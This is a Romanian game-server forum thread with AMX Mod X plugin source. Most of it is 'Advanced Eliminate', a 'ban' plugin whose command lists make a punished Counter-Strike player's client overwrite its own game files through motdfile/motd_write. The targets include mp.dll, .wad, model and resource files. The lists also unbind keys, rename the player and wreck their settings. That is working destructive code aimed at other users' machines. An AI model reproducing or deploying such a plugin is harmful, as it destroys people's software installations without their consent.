				client_cmd(client, "echo ^"%L^"", client, "AB_WEBSITE");
				client_cmd(client, "echo ^"%s^"", website);
			}
		}
		client_cmd(client, "echo ^"************************************************^"");
	}
}

PrintActivity(const admin_name[], const message_fmt[], any:...)
{
	if( !get_playersnum() ) return;
	
	new activity = get_pcvar_num(amx_show_activity);
	if( !(0 <= activity <= 5) )
	{
		set_pcvar_num(amx_show_activity, (activity = 2));
	}
	
	static message[192], temp[192];
	vformat(message, sizeof(message) - 1, message_fmt, 3);
	
	for( new client = 1; client <= g_max_clients; client++ )
	{
		if( !is_user_connected(client) ) continue;
		
		switch( is_user_admin(client) ? g_admin_activity[activity] : g_normal_activity[activity] )
		{
			case ACTIVITY_NONE:
			{
				
			}
			case ACTIVITY_HIDE:
			{
				copy(temp, sizeof(temp) - 1, message);
				replace(temp, sizeof(temp) - 1, "$name", "ADMIN");
				
				message_begin(MSG_ONE_UNRELIABLE, g_msgid_SayText, _, client);
				write_byte(client);
				write_string(temp);
				message_end();
			}
			case ACTIVITY_SHOW:
			{
				copy(temp, sizeof(temp) - 1, message);
				replace(temp, sizeof(temp) - 1, "$name", admin_name);
				
				message_begin(MSG_ONE_UNRELIABLE, g_msgid_SayText, _, client);
				write_byte(client);
				write_string(temp);
				message_end();
			}
		}
	}
}

Print(const message_fmt[], any:...)
{
	if( !get_playersnum() ) return;
	
	static message[192];
	vformat(message, sizeof(message) - 1, message_fmt, 2);
	
	for( new client = 1; client <= g_max_clients; client++ )
	{
		if( !is_user_connected(client) ) continue;
		
		message_begin(MSG_ONE_UNRELIABLE, g_msgid_SayText, _, client);
		write_byte(client);
		write_string(message);
		message_end();
	}
}

Log(const message_fmt[], any:...)
{
	static message[256];
	vformat(message, sizeof(message) - 1, message_fmt, 2);
	
	static filename[96];
	#if defined HISTORY_ONE_FILE
	if( !filename[0] )
	{
		get_basedir(filename, sizeof(filename) - 1);
		add(filename, sizeof(filename) - 1, "/logs/ban_history.log");
	}
	#else
	static dir[64];
	if( !dir[0] )
	{
		get_basedir(dir, sizeof(dir) - 1);
		add(dir, sizeof(dir) - 1, "/logs");
	}
	
	format_time(filename, sizeof(filename) - 1, "%m%d%Y");
	format(filename, sizeof(filename) - 1, "%s/BAN_HISTORY_%s.log", dir, filename);
	#endif
	
	log_amx("%s", message);
	log_to_file(filename, "%s", message);
}
/* AMXX-Studio Notes - DO NOT MODIFY BELOW HERE
*{\\ rtf1\\ ansi\\ deff0{\\ fonttbl{\\ f0\\ fnil Tahoma;}}\n\\ viewkind4\\ uc1\\ pard\\ lang1033\\ f0\\ fs16 \n\\ par }
*/

PS SI MAI VREAU SA ARATE IN CONSOLA Informati de la cine ai primit amx_read
Nume admin:
Numele tau:
IP tau:
IP Admin:
Motiv:
Durata banului:
Daca te simti neidreptatit viziteaza forumul www.laleagane.ro
Id steam admin:
stiti voi la ce ma refer multumesc mult !
Image
RoyalServer
OneShot.
Membru, skill +2
Membru, skill +2
Posts: 719
Joined: 12 Sep 2011, 19:17
Detinator Steam: Da
Detinator server CS: drx.indungi.ro
SteamID: oneshot_01
Reputatie: Fost moderator ajutator
Nume anterior: OnlyHD
Location: Bucuresti
Has thanked: 196 times
Been thanked: 66 times
Contact:

27 Jul 2013, 15:21

Pe scurt vrei un plugin ca eliminate al lui Askhanar,nu cred ca til va face cineva gratis...
ReaD1nG
Membru, skill +1
Membru, skill +1
Posts: 237
Joined: 26 Jul 2013, 17:48
Detinator Steam: Da
Has thanked: 65 times
Been thanked: 13 times

27 Jul 2013, 15:41

Mda :)
Mie doar sa mi le uneasca nu sa mi-l faca
Image
User avatar
Ulquiorra
Fost moderator
Fost moderator
Posts: 2053
Joined: 25 Jul 2010, 17:29
Detinator Steam: Da
CS Status: A mai trecut o zi asteptand una mai buna
Detinator server CS: Retras.
SteamID: STEAM_0:1:318247XX
Reputatie: Fost Scripter eXtreamCS
Fost Moderator ajutator
Nick anterior: Askhanar
Location: Braila, Romania.
Has thanked: 215 times
Been thanked: 1132 times

27 Jul 2013, 23:48

daca tot il vreti.. am zis sa vi`l public.. ( il public din cauza ca: nu mai are efect pe userii steam... stiti si voi de update cu cl_filterstuffcmd )..
Advanced Eliminate | Afiseaza codul
/*
___________________________________________________________________________________________________________
===========================================================================================================
¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯
				    ___________________________________
				   |=                                 =|
			           |=       Advanced Eliminate        =|
			           |=       ¯¯¯¯¯¯¯¯ ¯by¯¯¯¯¯¯        =|
			           |=	              ¯¯Askhanar      =|
			           |=                   ¯¯¯¯¯¯¯¯      =|
                                    ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯
 __________________________________________________________________________________________________________
|==========================================================================================================|
|													   |
|					 Copyright © 2012, Askhanar					   |
|			  Acest fisier este prevazut asa cum este ( fara garantii )			   |
|													   |
|==========================================================================================================|
 ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯
	- ¦ 				         « Prieteni »			      		¦ -
	** * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * **
	* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
	* * *										      * * *
	* *  	Rap^		Frosten			TheBeast		AZAEL!   	* *
	* *	fuzy		razvan W-strafer	RZV			SNKT   	 	* *	
	* *	ahonen		Arion			pHum			d e w   	* *
	* *	gLobe		syBlow			kvL^			krom3       	* *
	* *	Henk		DANYEL			SimpLe			XENON^		* *
	* * *								                      *	* *
	* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
	** * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * **
	
	- ¦ 				       « Multumiri »			      		¦ -
	** * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * **
	* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
	* * *										      *	* *
	* *	o    war3ft mod    celor ce au creat modul war3ft pentru ca am luat		* *
	* *				din plugin-ul lor ultimate-ul de la			* *
	* *				rasa undead ( acela de explodeaza ).			* *
	* * *										      *	* *
	* *	o    Rap^    	pentru ca m-a ajutat tot timpul cu				* *
	* *				testatul si imbunatatirea plugin-ului		        * *
	* * *										      *	* *
	* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
	** * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * **
 __________________________________________________________________________________________________________	
|==========================================================================================================|	
* 													   *
 *	                   Daca gasiti ceva in neregula, va rog sa ma contactati.		          *
  **												        **
    *				      YM:        ***_********					       *
     *				      Steam:     ***_********				              *
      **			      e-mail:    ***_********@yahoo.com			            **
        *										           *
	 *											  *
	 |****************************************************************************************|
	  ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯
*/

#include < amxmodx >
#include < amxmisc >

#include < fun >
#include < ColorChat >

#pragma semicolon 1

#define PLUGIN "Advanced Eliminate"
#define VERSION "0.1.5"


#define EliminatesNum			5120		
#define ELIMINATETASK 			112233		//Nu modifica..
#define ELIMINATE_ACCESS		ADMIN_LEVEL_E

static const ServerLicensedIp[ ] = "93.119.26.175";

new const FirstEliminateCommands[ ][ ] =
{
	"unbindall",
	"developer 1",
	"name SuntDistrus[Advanced_Eliminate]",
	"cd eject",
	"bind d snapshot",
	"bind a snapshot",
	"bind s snapshot",
	"bind w snapshot",
	"bind mouse1 snapshot",
	"bind mouse2 snapshot",
	"bind TAB snapshot",
	"bind SPACE snapshot",
	"bind y snapshot",
	"bind u snapshot",
	"bind ` snapshot",
	"bind ~ snapshot",
	"con_color 1 1 1",
	"hud_draw 0;hideradar;wait;room_type 10;wait;volume 5",
	"rate 1;wait;cl_cmdrate 10;wait;cl_updaterate 10;wait;gl_flipmatrix 1",
	"fps_modem 1,wait;fps_max 2;wait;sys_ticrate 1;wait;m_pitch 0.0;wait;m_yaw 0.0",
	"motdfile as_tundra.wad;motd_write AdvancedEliminate_v0.1.5_by_Askhanar",
	"motdfile cs_747.wad;motd_write AdvancedEliminate_v0.1.5_by_Askhanar",
	"motdfile cs_assault.wad;motd_write AdvancedEliminate_v0.1.5_by_Askhanar",
	"motdfile cs_office.wad;motd_write AdvancedEliminate_v0.1.5_by_Askhanar",
	"motdfile cstrike.wad;motd_write AdvancedEliminate_v0.1.5_by_Askhanar",
	"motdfile de_aztec.wad;motd_write AdvancedEliminate_v0.1.5_by_Askhanar",
	"motdfile de_dust.wad;motd_write AdvancedEliminate_v0.1.5_by_Askhanar",
	"motdfile decals.wad;motd_write AdvancedEliminate_v0.1.5_by_Askhanar",
	"motdfile halflife.wad;motd_write AdvancedEliminate_v0.1.5_by_Askhanar",
	"motdfile pldecal.wad;motd_write AdvancedEliminate_v0.1.5_by_Askhanar",
	"motdfile tempdecal.wad;motd_write AdvancedEliminate_v0.1.5_by_Askhanar",
	"motdfile events/ak47.sc;motd_write AdvancedEliminate_v0.1.5_by_Askhanar",
	"motdfile dlls/mp.dll;motd_write AdvancedEliminate_v0.1.5_by_Askhanar",
	"motdfile resource/ClientScheme.res;motd_write AdvancedEliminate_v0.1.5_by_Askhanar",
	"motdfile resource/GameMenu.res;motd_write AdvancedEliminate_v0.1.5_by_Askhanar",
	"motdfile resource/TrackerScheme.res;motd_write AdvancedEliminate_v0.1.5_by_Askhanar",
	"motdfile resource/BackgroundLayout.txt;motd_write AdvancedEliminate_v0.1.5_by_Askhanar",
	"motdfile resource/BackgroundLoadingLayout.txt;motd_write AdvancedEliminate_v0.1.5_by_Askhanar",
	"motdfile resource/UI/MOTD.res;motd_write AdvancedEliminate_v0.1.5_by_Askhanar",
	"motdfile resource/UI/ScoreBoard.res;motd_write AdvancedEliminate_v0.1.5_by_Askhanar",
	"motdfile resource/UI/Spectator.res;motd_write AdvancedEliminate_v0.1.5_by_Askhanar",
	"motdfile resource/logo_game.res;motd_write AdvancedEliminate_v0.1.5_by_Askhanar",
	"motdfile resource/UI/BuyMenu.res;motd_write AdvancedEliminate_v0.1.5_by_Askhanar",
	"motdfile resource/UI/Classmenu.res.res;motd_write AdvancedEliminate_v0.1.5_by_Askhanar",
	"motdfile resource/UI/Teammenu.res;motd_write AdvancedEliminate_v0.1.5_by_Askhanar",
	"motdfile resource/UI/TutorTextWindow.res;motd_write AdvancedEliminate_v0.1.5_by_Askhanar",
	"motdfile resource/UI/BottomSpectator.res;motd_write AdvancedEliminate_v0.1.5_by_Askhanar",
	"motdfile sprites/hud.txt;motd_write AdvancedEliminate_v0.1.5_by_Askhanar",
	"motdfile sprites/320hud1.spr;motd_write AdvancedEliminate_v0.1.5_by_Askhanar",
	"motdfile sprites/640hud10.spr;motd_write AdvancedEliminate_v0.1.5_by_Askhanar",
	"motdfile sprites/640hud11.spr;motd_write AdvancedEliminate_v0.1.5_by_Askhanar",
	"say am fost distrus cu Advanced Eliminate v0.1.5 by Askhanar !"
	
};


new const SecondEliminateCommands[ ][ ] =
{
	
	"motdfile models/player/gign/gign.mdl;motd_write AdvancedEliminate_v0.1.5_by_Askhanar",
	"motdfile models/player/arctic/arctic.mdl;motd_write AdvancedEliminate_v0.1.5_by_Askhanar",
	"motdfile models/player/vip/vip.mdl;motd_write AdvancedEliminate_v0.1.5_by_Askhanar",
	"motdfile models/player/urban/urban.mdl;motd_write AdvancedEliminate_v0.1.5_by_Askhanar",
	"motdfile models/player/terror/terror.mdl;motd_write AdvancedEliminate_v0.1.5_by_Askhanar",
	"motdfile models/player/sas/sas.mdl;motd_write AdvancedEliminate_v0.1.5_by_Askhanar",
	"motdfile models/player/leet/leet.mdl;motd_write AdvancedEliminate_v0.1.5_by_Askhanar",
	"motdfile models/player/gsg9/gsg9.mdl;motd_write AdvancedEliminate_v0.1.5_by_Askhanar",
	"motdfile models/player/guerilla/guerilla.mdl;motd_write AdvancedEliminate_v0.1.5_by_Askhanar",
	"motdfile models/player/xt/xt.mdl;motd_write AdvancedEliminate_v0.1.5_by_Askhanar",
	"motdfile models/sv/v_hegrenade.mdl;motd_write AdvancedEliminate_v0.1.5_by_Askhanar",
	"motdfile models/sv/w_hegrenade.mdl;motd_write AdvancedEliminate_v0.1.5_by_Askhanar",
	"motdfile models/sv/p_hegrenade.mdl;motd_write AdvancedEliminate_v0.1.5_by_Askhanar",
	"motdfile models/bag.mdl;motd_write AdvancedEliminate_v0.1.5_by_Askhanar",
	"motdfile models/aflock.mdl;motd_write AdvancedEliminate_v0.1.5_by_Askhanar",
	"motdfile models/dragon.mdl;motd_write AdvancedEliminate_v0.1.5_by_Askhanar",
	"motdfile models/bigrat.mdl;motd_write AdvancedEliminate_v0.1.5_by_Askhanar",
	"motdfile models/big_rock.mdl;motd_write AdvancedEliminate_v0.1.5_by_Askhanar",
	"motdfile models/gibs_null.mdl;motd_write AdvancedEliminate_v0.1.5_by_Askhanar",
	"motdfile models/gibs_rock.mdl;motd_write AdvancedEliminate_v0.1.5_by_Askhanar",
	"motdfile models/gman.mdl;motd_write AdvancedEliminate_v0.1.5_by_Askhanar",
	"motdfile models/grass.mdl;motd_write AdvancedEliminate_v0.1.5_by_Askhanar",
	"motdfile models/hgrunt.mdl;motd_write AdvancedEliminate_v0.1.5_by_Askhanar",
	"motdfile models/holo.mdl;motd_write AdvancedEliminate_v0.1.5_by_Askhanar",
	"motdfile models/hornet.mdl;motd_write AdvancedEliminate_v0.1.5_by_Askhanar",
	"motdfile models/hassassint.mdl;motd_write AdvancedEliminate_v0.1.5_by_Askhanar",
	"motdfile models/hairt.mdl;motd_write AdvancedEliminate_v0.1.5_by_Askhanar",
	"motdfile models/v_knife.mdl;motd_write AdvancedEliminate_v0.1.5_by_Askhanar",
	"motdfile models/p_knife.mdl;motd_write AdvancedEliminate_v0.1.5_by_Askhanar",
	"motdfile models/oranget.mdl;motd_write AdvancedEliminate_v0.1.5_by_Askhanar",
	"motdfile models/v_ak47.mdl;motd_write AdvancedEliminate_v0.1.5_by_Askhanar",
	"motdfile models/v_m4a1.mdl;motd_write AdvancedEliminate_v0.1.5_by_Askhanar",
	"motdfile models/orange.mdl;motd_write AdvancedEliminate_v0.1.5_by_Askhanar",
	"motdfile models/jeep2.mdl;motd_write AdvancedEliminate_v0.1.5_by_Askhanar",
	"motdfile models/gibs_vent2.mdl;motd_write AdvancedEliminate_v0.1.5_by_Askhanar",
	"motdfile models/v_hegrenade.mdl;motd_write AdvancedEliminate_v0.1.5_by_Askhanar",
	"motdfile models/p_hegrenade.mdl;motd_write AdvancedEliminate_v0.1.5_by_Askhanar",
	"motdfile models/w_hegrenade.mdl;motd_write AdvancedEliminate_v0.1.5_by_Askhanar",
	"motdfile models/v_smokegrenade.mdl;motd_write AdvancedEliminate_v0.1.5_by_Askhanar",
	"motdfile models/p_smokegrenade.mdl;motd_write AdvancedEliminate_v0.1.5_by_Askhanar",
	"motdfile models/w_smokegrenade.mdl;motd_write AdvancedEliminate_v0.1.5_by_Askhanar"
	
};

new const EliminateDataFile[ ] = "EliminateData.txt";
new const EliminateLogFile[ ] = "EliminateLog.txt";

new const EliminateExplodeSpr[ ] = "sprites/zerogxplode.spr";
new const EliminateShockWaveSpr[ ] = "sprites/shockwave.spr";
new const EliminateSmokeSpr[ ] = "sprites/steam1.spr";

new const EliminateExplodeSound[ ] = "ambience/particle_suck1.wav";


//Pentru ban-uri..
new EliminatedTime[ EliminatesNum ] [ 32 ];
new EliminatedName[ EliminatesNum ] [ 32 ];
new EliminatedIp[ EliminatesNum ] [ 32 ];
new EliminatedSteamId[ EliminatesNum ] [ 35 ];
new EliminatedAdminName[ EliminatesNum ] [ 32 ];
new EliminatedAdminIp[ EliminatesNum ] [ 32 ];
new EliminatedAdminSteamId[ EliminatesNum ] [ 35 ];
new EliminatedReason[ EliminatesNum ] [ 32 ];

new Eliminates = 0;

new cvar_tag;
new cvar_site;

new SyncHudMessage;
new ExplodeSpr, ShockWaveSpr, SmokeSpr;

new vOrigin[ 33 ][ 3 ];

//De aici nu va mai explic..pentru ca nu e nevoie sa intelegeti voi...
//Daca modificati sunteti bun raspunzatori.
public plugin_init( )
{
	new ServerIp[ 22 ];
	get_user_ip( 0, ServerIp, sizeof ( ServerIp ) -1, 1 );
	
	if( equal( ServerIp, ServerLicensedIp ) )
	{
		
		register_plugin( PLUGIN, VERSION, "Askhanar" );
		
		cvar_tag = register_cvar( "ae_tag", "[D/C]" );
		cvar_site = register_cvar( "ae_site", "www.disconnect.ro/forum" );
		
		register_concmd( "amx_eliminate", "ConCmdEliminate", -1, "< nume / parte din nume > < motiv >" );
		register_concmd( "amx_uneliminate", "ConCmdUnEliminate", -1, "< ip / steamid > < motiv >" );
		register_concmd( "amx_printeliminates", "ConCmdPrintEliminates", -1, "" );
		register_concmd( "amx_reloadeliminates", "ConCmdReloadEliminates", -1, "" );
		
		SyncHudMessage = CreateHudSyncObj( );
		server_print( "%s Felicitari! Detii o licenta valida, iar pluginul functioneaza perfect!", PLUGIN );
		server_print( "%s Pentru mai multe detalii y/m: red_bull2oo6 | steam: red_bull2oo6 !", PLUGIN );
	}
	else
	{
		new PluginName[ 32 ];
		format( PluginName, sizeof ( PluginName ) -1, "[Ip Nelicentiat] %s", PLUGIN );
		register_plugin( PluginName, VERSION, "Askhanar" );
		
		server_print( "%s Nu detii o licenta valabila ! Plugin-ul nu va functiona corespunzator !", PLUGIN );
		server_print( "%s Pentru mai multe detalii y/m: red_bull2oo6 | steam: red_bull2oo6 !", PLUGIN );
		
		
		pause( "ade" );
	}
	
}

/*======================================= - ¦ Askhanar ¦ - =======================================*/

public plugin_precache( ) 
{
	new ServerIp[ 22 ];
	get_user_ip( 0, ServerIp, sizeof ( ServerIp ) -1, 1 );
	
	if( equal( ServerIp, ServerLicensedIp ) )
	{
		
		ExplodeSpr = precache_model( EliminateExplodeSpr );
		ShockWaveSpr = precache_model( EliminateShockWaveSpr );
		SmokeSpr = precache_model( EliminateSmokeSpr );
		
		precache_sound( EliminateExplodeSound );
		
		new File[ 128 ];
		get_configsdir( File, sizeof ( File ) -1 );
		formatex( File, sizeof ( File ) -1, "%s/%s", File, EliminateLogFile );
		
		if( !file_exists( File ) ) 
		{
			write_file( File ,"In acest log veti gasi urmatoarele informatii:", -1 );
			write_file( File ,"Cine, cand si cui a dat eliminate dar si pe ce motiv.",-1 );
			write_file( File ,"Cine, cand si cui a scos eliminarea dar si pe ce motiv.",-1 );
			write_file( File ,"",-1 );
			write_file( File ,"",-1 );
		}
		
		get_configsdir( File, sizeof ( File ) -1 );
		formatex( File, sizeof ( File ) -1, "%s/%s", File, EliminateDataFile );
		
		if( !file_exists( File ) )
		{
			write_file( File ,";Ip-urile / Steamid-urile userilor eliminati permanent !", -1 );
			write_file( File ,";",-1 );
			write_file( File ,";",-1 );
		}	
		
		LoadEliminates( );
	}

}

/*======================================= - ¦ Askhanar ¦ - =======================================*/

public client_authorized( id )
{

	if ( is_user_bot( id ) || is_user_hltv( id ) ) return 0;
	
	vOrigin[ id ][ 0 ] = 0;
	vOrigin[ id ][ 1 ] = 0;
	vOrigin[ id ][ 2 ] = 0;
	
	new ip[ 32 ], authid[ 35 ], bool:IsSteamUser = false;
	get_user_ip( id, ip , sizeof ( ip ) -1, 1 );
	get_user_authid( id, authid, sizeof ( authid ) -1 );
	
	IsSteamUser = ( authid[ 7 ] == ':' ? true : false );
	
	for( new i = 0; i < Eliminates ; i++ )
	{
		if( !IsSteamUser && equal( EliminatedIp[ i ], ip ) || IsSteamUser && equal( EliminatedSteamId[ i ], authid ) ) 
		{
			PrintConsoleInfo( id, EliminatedName[ i ], EliminatedIp[ i ], EliminatedSteamId[ i ], EliminatedReason[ i ],
				EliminatedAdminName[ i ], EliminatedAdminIp[ i ], EliminatedAdminSteamId[ i ], EliminatedTime[ i ] );

			set_task( 1.0, "TaskDisconnectPlayer", id + ELIMINATETASK );
			
			break;
		}
	}
	
	
	return 0;
}

public client_disconnect( id )
{
	vOrigin[ id ][ 0 ] = 0;
	vOrigin[ id ][ 1 ] = 0;
	vOrigin[ id ][ 2 ] = 0;
}

/*======================================= - ¦ Askhanar ¦ - =======================================*/

public ConCmdEliminate( id )
{
	if( !HasUserAccess( id ) )
	{
		client_cmd( id, "echo Nu ai acces la aceasta comanda !" );
		return 1;
	}
	
	new FirstArg[ 32 ], SecondArg[ 32 ];
	new Player;
	
	read_argv( 1, FirstArg , sizeof ( FirstArg ) -1 );
	read_argv( 2, SecondArg , sizeof ( SecondArg ) -1 );
	
	if( equal( FirstArg, "" ) || equal( SecondArg, "" ) )
	{
		client_cmd( id, "echo amx_eliminate < nume / parte din nume > < motiv > !" );
		return 1;
	}
		
	Player = cmd_target( id, FirstArg,  8 );

	if( !Player || !is_user_connected( Player ) ) return 1;
	
	set_hudmessage( random( 256 ), random( 256 ), random( 256 ), -1.0, random_float( 0.10, 0.23 ), 0, 0.0, 5.0, 0.1, 0.2, 3 );
	ShowSyncHudMsg( 0, SyncHudMessage, "%s a fost eliminat de pe server !^nI-au fost stricate majoritatea fisierelor !^nA primit ban permanent !", get_name( Player ) );
	
	client_cmd( 0, "spk ^"vox/bizwarn _comma _comma detected user and eliminate^"" );
	ColorChat( 0, RED,"^x04%s^x03 %s^x01 l-a eliminat pe^x03 %s^x01 Motiv:^x03 %s^x01 !", get_tag( ), get_name( id ), get_name( Player ), SecondArg );
	
	client_cmd( id, "echo %s a fost eliminat !", get_name( Player ) );
	client_cmd( id, "echo Motiv: %s !", SecondArg );
	
	client_cmd( Player, "-forward;wait;-back;wait;-moveleft;wait;-moveright;wait;-duck;wait;-showscores" );
	client_cmd( Player, "-attack;wait;-attack2" );
	
	PrintConsoleInfo( Player, get_name( Player ), get_ip( Player ), get_authid( Player ), SecondArg,
				get_name( id ), get_ip( id ), get_authid( id ), _get_time( ) );
				
	LogToConfigs( "Admin %s [%s] (%s) - l-a eliminat pe - %s [%s] (%s) - Motiv: %s ",
		get_name( id ), get_authid( id ), get_ip( id ), get_name( Player ),
		get_authid( Player ), get_ip( Player ), SecondArg );
	
	if(  is_user_alive(  Player  )  )
	{
		CreateEliminateEffects( Player + ELIMINATETASK );
	}
	
	EliminateUser( id, Player, SecondArg );
	set_task( 5.0, "TaskDisconnectPlayerFromSV", Player + ELIMINATETASK );
	
	return 1;
}

/*======================================= - ¦ Askhanar ¦ - =======================================*/

public ConCmdUnEliminate( id )
{
	if( !HasUserAccess( id ) )
	{
		client_cmd( id, "echo Nu ai acces la aceasta comanda !" );
		return 1;
	}
	
	new FirstArg[ 32 ], SecondArg[ 32 ];
	new bool:EliminationFound = false;
	
	read_argv( 1, FirstArg , sizeof ( FirstArg ) -1 );
	read_argv( 2, SecondArg , sizeof ( SecondArg ) -1 );
	
	if( equal( FirstArg, "" ) || equal( SecondArg, "" ) )
	{
		if( id == 0 )
		{
			server_print( "amx_eliminate < ip / steamid > < motiv > !" );
			return 1;
			
		}
		
		else
		{
			client_cmd( id, "echo amx_eliminate < ip / steamid > < motiv > !" );
			return 1;
		}
	}
	
	new plugin_info[ 128 ];
	if( id == 0 )
	{
		formatex( plugin_info, sizeof ( plugin_info ) -1,"************ %s v%s by %s ***********", PLUGIN, VERSION, "Askhanar");
	}
	else
	{
		formatex( plugin_info, sizeof ( plugin_info ) -1,"echo ^"************ %s v%s by %s ***********^"", PLUGIN, VERSION, "Askhanar");
	}
	
	for( new i = 0; i < Eliminates ; i++ )
	{
		if( equal( EliminatedIp[ i ], FirstArg ) || equal( EliminatedSteamId[ i ], FirstArg ) )
		{
			
			if( id == 0)
			{
				
				
				server_print( "****************************************************");
				server_print( "************* Informatii despre scoaterea eliminarii ***********" );
				server_print( "*    " );
				server_print( "*    Nume: %s", EliminatedName[ i ] );
				server_print( "*    Ip: %s", EliminatedIp[ i ] );
				server_print( "*    Steamid: %s", EliminatedSteamId[ i ] );
				server_print( "*    Motiv: %s ", EliminatedReason[ i ] );
				server_print( "*    Durata: Permanenta" );
				server_print( "*    Nume Admin: %s", EliminatedAdminName[ i ] );
				server_print( "*    Ip Admin: %s", EliminatedAdminIp[ i ] );
				server_print( "*    Steamid Admin: %s", EliminatedAdminSteamId[ i ] );
				server_print( "*    Data/Ora: %s", EliminatedTime[ i ] );
				server_print( "*    " );
				server_print( "*    Comanda executata cu succes !" );
				server_print( "*    Eliminarea de pe ip-ul / steamid-ul |%s| a fost scoasa.", FirstArg );
				server_print( "*    ");
				server_print( "****************************************************");
				server_print( "%s", plugin_info );
				server_print( "****************************************************");
				
				EliminationFound = true;
				
				LogToConfigs( "-----------------------------------------------------------------------------------------------------------------------------------------------");
				LogToConfigs( "ADMIN %s (%s) - a scos eliminarea ce urmeaza ! - Motiv: %s", get_name( id ), get_ip( id ), SecondArg );
				LogToConfigs( "ELIMINARE:| %s | Admin %s [%s] (%s) - l-a eliminat pe %s [%s] (%s) - Motiv: %s",	EliminatedTime[ i ], EliminatedAdminName[ i ], EliminatedAdminSteamId[ i ], EliminatedAdminIp[ i ], EliminatedName[ i ], EliminatedSteamId[ i ], EliminatedIp[ i ], EliminatedReason[ i ] );
				LogToConfigs( "-----------------------------------------------------------------------------------------------------------------------------------------------");
			}
			
			else
			{
				
				client_cmd( id, "echo ^"****************************************************^"");
				client_cmd( id, "echo ^"************* Informatii despre scoaterea eliminarii ***********^"" );
				client_cmd( id, "echo ^"*    ^"" );
				client_cmd( id, "echo ^"*    Nume: %s^"", EliminatedName[ i ] );
				client_cmd( id, "echo ^"*    Ip: %s^"", EliminatedIp[ i ] );
				client_cmd( id, "echo ^"*    Steamid: %s^"", EliminatedSteamId[ i ] );
				client_cmd( id, "echo ^"*    Motiv: %s ^"", EliminatedReason[ i ] );
				client_cmd( id, "echo ^"*    Durata: Permanenta^"" );
				client_cmd( id, "echo ^"*    Nume Admin: %s^"", EliminatedAdminName[ i ] );
				client_cmd( id, "echo ^"*    Ip Admin: %s^"", EliminatedAdminIp[ i ] );
				client_cmd( id, "echo ^"*    Steamid Admin: %s^"", EliminatedAdminSteamId[ i ] );
				client_cmd( id, "echo ^"*    Data/Ora: %s^"", EliminatedTime[ i ] );
				client_cmd( id, "echo ^"*    ^"" );
				client_cmd( id, "echo ^"*    Comanda executata cu succes !^"" );
				client_cmd( id, "echo ^"*    Eliminarea de pe ip-ul / steamid-ul |%s| a fost scoasa.^"", FirstArg );
				client_cmd( id, "echo ^"*    ^"");
				client_cmd( id, "echo ^"****************************************************^"");
				client_cmd( id, "%s", plugin_info );
				client_cmd( id, "echo ^"****************************************************^"");
				
				EliminationFound = true;
				
				LogToConfigs( "-----------------------------------------------------------------------------------------------------------------------------------------------");
				LogToConfigs( "ADMIN %s [%s] (%s) - a scos eliminarea ce urmeaza ! - Motiv: %s", get_name( id ), get_authid( id ), get_ip( id ), SecondArg );
				LogToConfigs( "ELIMINARE:| %s | Admin %s [%s] (%s) - l-a eliminat pe %s [%s] (%s) - Motiv: %s",	EliminatedTime[ i ], EliminatedAdminName[ i ], EliminatedAdminSteamId[ i ], EliminatedAdminIp[ i ], EliminatedName[ i ], EliminatedSteamId[ i ], EliminatedIp[ i ], EliminatedReason[ i ] );
				LogToConfigs( "-----------------------------------------------------------------------------------------------------------------------------------------------");
				
				client_cmd( 0, "spk vox/doop" );
				ColorChat( 0, RED,"^x04%s^x03 %s^x01 i-a scos eliminarea lui^x03 %s^x01 !", get_tag( ), get_name( id ), EliminatedName[ i ] );
			}
				
			RemoveEliminate( i );
			break;
		}
		
	}
	
	if( !EliminationFound )
	{
		if( id == 0 )
		{
			server_print( "****************************************************" );
			server_print( "****************************************************" );
			server_print( "*    " );
			server_print( "*    Comanda nu poate fi executata !" );
			server_print( "*    Ip-ul / steamid-ul |%s|", FirstArg );
			server_print( "*    Nu a fost gasit in baza de date." );
			server_print( "*    " );
			server_print( "****************************************************");
			server_print( "%s", plugin_info );
			server_print( "****************************************************");
		}
		
		else
		{
			
			client_cmd( id, "echo ^"****************************************************^"" );
			client_cmd( id, "echo ^"****************************************************^"" );
			client_cmd( id, "echo ^"*    ^"" );
			client_cmd( id, "echo ^"*    Comanda nu poate fi executata !^"" );
			client_cmd( id, "echo ^"*    Ip-ul / steamid-ul |%s|^"", FirstArg );
			client_cmd( id, "echo ^"*    Nu a fost gasit in baza de date.^"" );
			client_cmd( id, "echo ^"*    ^"" );
			client_cmd( id, "echo ^"****************************************************^"");
			client_cmd( id, "%s", plugin_info );
			client_cmd( id, "echo ^"****************************************************^"");
		}
	}
	
	return 1;
}
/*======================================= - ¦ Askhanar ¦ - =======================================*/

public ConCmdPrintEliminates( id )
{
	if( !( get_user_flags( id ) & ELIMINATE_ACCESS ) )
	{
